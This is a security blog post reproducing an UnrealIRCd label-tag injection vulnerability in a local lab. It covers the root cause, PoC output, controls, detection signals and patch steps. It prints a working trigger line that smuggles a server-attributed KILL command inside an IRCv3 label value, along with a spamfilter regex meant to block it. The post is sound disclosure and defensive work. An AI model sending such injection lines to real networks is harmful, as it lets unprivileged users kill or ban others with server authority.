UnrealIRCd CVE-2026-114713 Lab Reproduction

– min read

An IRC daemon just got the scariest headline it has had in fifteen years: CVE-2026-114713, a single unprivileged client message that turns into commands executed with full server authority on any linked UnrealIRCd 6 network. It landed in CISA KEV on 13 November with a three-day remediation window that has already closed. I rebuilt the vendor’s scenario in a local two-server lab the same night the advisory dropped. Here is exactly what the bug is, what it takes to trigger it, and what your logs show when it fires.

Sources (read these first):

Official advisory by Bram Matthys (Syzop): UnrealIRCd 6.2.7.1 released & hot-patch to fix 9 security issues
NVD: CVE-2026-114713 · CISA KEV: added 2026-11-13, due 2026-11-16 · oss-sec post: seclists.org/oss-sec/2026/q4/576
Community PoC (statically vetted before running, see note below): fixedbyreboot/CVE-2026-114713-POC · research writeup: Sable-Research


CVE-2026-114713 overview

FieldValue
CVECVE-2026-114713
ComponentUnrealIRCd, labeled-response module (IRCv3 label tag)
Root causeClient-supplied label value echoed into replies without neutralising protocol delimiters (CWE-140)
AffectedUnrealIRCd 6.0.0 – 6.2.7, also 5.x (EOL)
Fixed in6.2.7.1, or no-restart hot-patch bundle-20261107
CVSS 3.18.6 HIGH (AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N)
KEV2026-11-13, remediation due 2026-11-16, active exploitation confirmed by vendor
Attack surfaceAny ordinary client on a network with two or more linked servers


The labeled-response module implements the IRCv3 label message tag: the client puts an opaque string on a request and the server echoes it back on the matching reply so the client can correlate responses. The vulnerable code path inserted that client-controlled string into the outbound line without stripping the characters IRC uses as message delimiters. IRC is strictly line-oriented, so a label carrying a newline terminates the current message early, and whatever follows the newline is parsed as a new, independent command by the server on the other side of a server-to-server link. That command is accepted because it arrives attributed to a trusted peer server, which carries IRCOp-level authority for commands like KILL, GLINE and KLINE.


Technical deep dive

Tag values use IRCv3 escapes, so the attacker never sends a raw CR or LF, only the two-character sequences \\n and \\s inside the tag value. The server unescapes them when echoing the label, which is precisely where the split happens. One crafted message on the wire looks like this:

@label=p\nKILL\svic\s:CVE-2026-114713 WHOIS hub.example.net wt


# after the server unescapes the label value, the echoed reply contains:
# line 1:  ...p
# line 2:  KILL vic :CVE-2026-114713   executed as if sent by the peer server

The trigger routes a two-parameter WHOIS (WHOIS hub.example.net wt) to the named server. The peer formats its reply with the label attached, the raw label crosses the link, and the receiving server parses two lines where the protocol expected one. The attacker needs zero privileges beyond connecting; the network just needs two servers, which every UnrealIRCd production network does.

Diagram of the CVE-2026-114713 label tag injection path from an attacker client through a vulnerable UnrealIRCd leaf server to its trusted hub peer
The injection path: one client message at the leaf, one trusted-looking s2s command at the hub. Author’s own diagram.


Lab reproduction

Everything below ran on a throwaway Ubuntu VM with all listeners bound to 127.0.0.1. No real IRC network anywhere. The topology is two vulnerable UnrealIRCd 6.2.7 servers linked hub-to-leaf, the same pair rebuilt on 6.2.7.1 as the fixed control, and one standalone 6.2.7 server as the precondition control.

A quick note before running anything public: PoC repos attached to days-old CVEs are a known malware-bait vector. Before executing it I profiled the repo through api.github.com and read every source file via raw.githubusercontent.com only. The PoC is a plain Python socket client, no dependencies, no subprocess calls, no outbound URLs, everything binds loopback. I never cloned or pip-installed it.

Build the two versions

# deps on Ubuntu
apt-get install -y build-essential pkg-config openssl libssl-dev libpcre2-dev

# vulnerable build 6.2.7
https://www.unrealircd.org/downloads/unrealircd-6.2.7.tar.gz
# fixed control build 6.2.7.1
https://www.unrealircd.org/downloads/unrealircd-6.2.7.1.tar.gz

# per version: extract, point config.settings at its own prefix, then
cd unrealircd-6.2.7
./Config -quick
make -j"$(nproc)"
make install

# each server needs a self-signed cert for the s2s TLS listener
openssl req -x509 -newkey rsa:2048 -sha256 -days 365 -nodes \
  -keyout PREFIX/conf/tls/server.key.pem \
  -out PREFIX/conf/tls/server.cert.pem -subj "/CN=hub.example.net"


The link between the two servers is a standard link block over TLS, both sides sharing a secret. The vulnerable leaf and hub differ only in server name, SID and ports (clients 6667/6668, link listener 7000):

me { name "leaf.example.net"; info "lab leaf"; sid "002"; }

listen { ip 127.0.0.1; port 6668; options { clientsonly; } }

link hub.example.net {
    outgoing {
        hostname 127.0.0.1;
        port 7000;
        options { tls; autoconnect; }
    }
    password "CHANGE-ME-lab-link-secret";
    class servers;
}


After booting the five instances, both networks sync within seconds:

[Tue Nov 17 01:42:05 2026] hub.example.net link.SERVER_SYNCED info: Link leaf.example.net -> hub.example.net is now synced [secs: 0, recv: 5160, sent: 5210]
[Tue Nov 17 01:42:05 2026] leaf.example.net link.SERVER_SYNCED info: Link hub.example.net -> leaf.example.net is now synced [secs: 0, recv: 5158, sent: 497]


Run the PoC against the vulnerable network

Three ordinary clients register: wt (the WHOIS target) on the hub, vic (the kill victim) and atk (the attacker) on the leaf. The PoC first proves the authority baseline: a direct KILL from the attacker is rejected:

KILL vic :direct-attempt

:leaf.example.net 481 atk :Permission Denied- You do not have the correct IRC operator privileges


Then the single trigger message goes out, and seconds later vic is killed by a command attributed to the remote server, not to any human:

[*] trigger line (wire bytes): b'@label=p\\nKILL\\svic\\s:CVE-2026-114713 WHOIS hub.example.net wt\r\n'
    label value after server-side unescaping: 'p' + LF + 'KILL vic :CVE-2026-114713'

:hub.example.net KILL vic :CVE-2026-114713 :hub.example.net BATCH atk +KNln1NHmApUqWS4OVvKTAn labeled-response

[*] verdict
[!] VULNERABLE: victim 'vic' was killed by a command that arrived
    attributed to the remote SERVER - authority no IRC user has.
    One unprivileged client message => server/IRCOp authority.
UnrealIRCd lab terminal showing the CVE-2026-114713 proof of concept killing a victim nick with server authority
Vulnerable lab, real captured output: 481 on the direct attempt, server-attributed KILL after the label injection.


The two controls

The 6.2.7.1 pair receives the identical trigger and nothing executes. The label is rejected before it is echoed, the WHOIS reply comes back clean, and the victim stays online:

$ python3 poc.py --host 127.0.0.1 --port 6678 --hub-host 127.0.0.1 --hub-port 6677

:hub.example.net 311 atk wt wt Clk-BF919CEF * wt
:hub.example.net 318 atk wt :End of /WHOIS list.

[*] verdict
[=] NO server-authority execution observed (victim still online).
    On 6.2.7.1 this is the fix rejecting the label (control run).

The single-server 6.2.7 box behaves the way the vendor described the precondition: with no linked peer there is no s2s stream to poison, so the injected bytes only loop back into the attacker’s own socket. Exit code 0, victim alive.


Detection

LayerSignal
ircd.logkill.KILL_COMMAND where the killer is a server name and the reason text carries the batch echo of a client’s label (see below)
s2s streamWHOIS replies from a peer that contain a second line beginning with a privileged command (KILL, GLINE, SVIBANNICK)
Client trafficAny client line with @label= containing the escape sequences \\n, \\s, \\r or ;\\ patterns
Inventory./unrealircd module-status | grep labeled-response: version 5.0 unpatched, 5.0-hot-patch-bundle-20261107 or 6.2.7.1 safe
BannerRegistration numeric 002/004 discloses UnrealIRCd-6.2.7, passive recon gold, restrict where you can


This is what my vulnerable hub logged when the injection fired. The killer field being a server name while the reason quotes the attacker’s batch label is the fingerprint:

[Tue Nov 17 01:42:33 2026] leaf.example.net kill.KILL_COMMAND info: Client killed: vic!vic@localhost [by: hub.example.net] (CVE-2026-114713 :hub.example.net BATCH atk +KNln1NHmApUqWS4OVvKTAn labeled-response)

If your threat hunting skims auth logs, the same mindset applies to your login feeds, see my fail2ban ban summary script for a reusable log-parsing pattern. For edge-level blocking of IRC traffic on hosts that do not run IRC at all, the same one-line rule style from my nftables setup guide drops 6667/tcp and friends.


Remediation

VersionAction
6.0.0 – 6.2.7 on *NIX./unrealircd hot-patch bundle-20261107, no restart, then verify module-status
any 6.xor full upgrade to 6.2.7.1 and restart (./unrealircd upgrade)
immediate stopgap, all servers 6.0.4+one IRCOp command, protects the whole network (does not fix the other 8 issues)
5.x EOLblacklist-module "labeled-response"; on every server + restart, then migrate to 6
# STEP 1 - the emergency network-wide block, run as an IRCOp:
/SPAMFILTER add -regex T block - Invalid_label ^label=(?![^\r\n;\x20]*\z)

# STEP 2a - hot-patch without restart, on EVERY server:
./unrealircd hot-patch bundle-20261107
# expect: "Patch installed and server rehashed correctly. All should be good now!"

# STEP 2b - or upgrade:
./unrealircd upgrade   # then restart the server

# VERIFY (either method):
./unrealircd module-status | grep labeled-response
# safe:  labeled-response 5.0-hot-patch-bundle-20261107
# safe:  labeled-response 6.2.7.1
# NOT applied:  labeled-response 5.0


A few practical notes. The vendor found this during an AI-assisted internal audit, and his closing line is worth stealing for your own backlog: if a long-lived network daemon has not had a major security fix in months, it is not because it is safe, it is because nobody has looked at it with modern tooling. If you run anything UnrealIRCd-adjacent in a lab or a honeypot, treat 6.2.7 and below as pre-auth network takeover now, the same way you would treat any KEV-listed edge device. The other eight issues in the bundle include two IP-leak bugs, one of which de-cloaks any user, so patching to the full 6.2.7.1 beats the stopgap filter.

Mohamad ZulfahmyCybersecurity · OffSec · Entrepreneur
About me ↗
ON THIS PAGE
On this page